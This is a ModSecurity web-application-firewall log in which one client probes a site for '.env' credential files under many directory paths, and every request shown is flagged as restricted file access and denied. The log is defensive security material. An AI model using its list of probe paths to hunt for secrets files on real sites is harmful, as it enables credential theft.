[Mon Oct 26 07:05:08.414432 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at8z5APZVv3Il2lbVePvlgAAAAQ"]
[Mon Oct 26 07:05:08.414671 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at8z5APZVv3Il2lbVePvlgAAAAQ"]
[Mon Oct 26 07:05:08.415694 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at8z5LFCbpdt8WThhgVJvgAAACY"]
[Mon Oct 26 07:05:08.415852 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at8z5LFCbpdt8WThhgVJvgAAACY"]
[Mon Oct 26 07:05:08.416104 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at8z5LFCbpdt8WThhgVJvgAAACY"]
[Mon Oct 26 07:05:08.696906 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at8z5OvTeiIeeTOEx2-3IAAAABQ"]
[Mon Oct 26 07:05:08.697151 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at8z5OvTeiIeeTOEx2-3IAAAABQ"]
[Mon Oct 26 07:05:08.697443 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at8z5OvTeiIeeTOEx2-3IAAAABQ"]
[Mon Oct 26 07:05:08.841418 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at8z5IeGqS3CXz8ptQGTrwAAAAI"]
[Mon Oct 26 07:05:08.841666 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at8z5IeGqS3CXz8ptQGTrwAAAAI"]
[Mon Oct 26 07:05:08.841970 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at8z5IeGqS3CXz8ptQGTrwAAAAI"]
[Mon Oct 26 07:05:08.843077 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at8z5Msf6KX343046fT7-gAAABM"]
[Mon Oct 26 07:05:08.843231 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at8z5Msf6KX343046fT7-gAAABM"]
[Mon Oct 26 07:05:08.843438 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at8z5Msf6KX343046fT7-gAAABM"]
[Mon Oct 26 07:05:08.844383 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at8z5Cz2IVlcktcA6K04YQAAABg"]
[Mon Oct 26 07:05:08.844525 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at8z5Cz2IVlcktcA6K04YQAAABg"]
[Mon Oct 26 07:05:08.844767 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at8z5Cz2IVlcktcA6K04YQAAABg"]
[Mon Oct 26 07:05:08.856734 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at8z5P2f_7_KPo47JjIUbwAAAAk"]
[Mon Oct 26 07:05:08.856915 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at8z5P2f_7_KPo47JjIUbwAAAAk"]
[Mon Oct 26 07:05:08.857154 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at8z5P2f_7_KPo47JjIUbwAAAAk"]
[Mon Oct 26 07:05:08.858173 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at8z5CcSv4BJXPfRnP7RfgAAACg"]
[Mon Oct 26 07:05:08.858305 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at8z5CcSv4BJXPfRnP7RfgAAACg"]
[Mon Oct 26 07:05:08.858511 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at8z5CcSv4BJXPfRnP7RfgAAACg"]
[Mon Oct 26 07:05:08.926845 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at8z5OvTeiIeeTOEx2-3IQAAABQ"]
[Mon Oct 26 07:05:08.927122 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at8z5OvTeiIeeTOEx2-3IQAAABQ"]
[Mon Oct 26 07:05:08.927400 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at8z5OvTeiIeeTOEx2-3IQAAABQ"]
[Mon Oct 26 07:05:08.929004 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at8z5APZVv3Il2lbVePvlwAAAAQ"]
[Mon Oct 26 07:05:08.929170 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at8z5APZVv3Il2lbVePvlwAAAAQ"]
[Mon Oct 26 07:05:08.929380 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at8z5APZVv3Il2lbVePvlwAAAAQ"]
[Mon Oct 26 07:05:08.939918 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at8z5LFCbpdt8WThhgVJvwAAACY"]
[Mon Oct 26 07:05:08.940063 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at8z5LFCbpdt8WThhgVJvwAAACY"]
[Mon Oct 26 07:05:08.940288 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at8z5LFCbpdt8WThhgVJvwAAACY"]
[Mon Oct 26 07:05:08.941291 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at8z5AmtqRvGLzY5nYxxGAAAACc"]
[Mon Oct 26 07:05:08.941435 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at8z5AmtqRvGLzY5nYxxGAAAACc"]
[Mon Oct 26 07:05:08.941652 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at8z5AmtqRvGLzY5nYxxGAAAACc"]
[Mon Oct 26 07:05:08.948223 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at8z5AFmwSOxi_IjJL3BGwAAACQ"]
[Mon Oct 26 07:05:08.948445 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at8z5AFmwSOxi_IjJL3BGwAAACQ"]
[Mon Oct 26 07:05:08.948779 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at8z5AFmwSOxi_IjJL3BGwAAACQ"]
[Mon Oct 26 07:05:08.990590 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at8z5CzBVbdmenz1Qplf2gAAACs"]
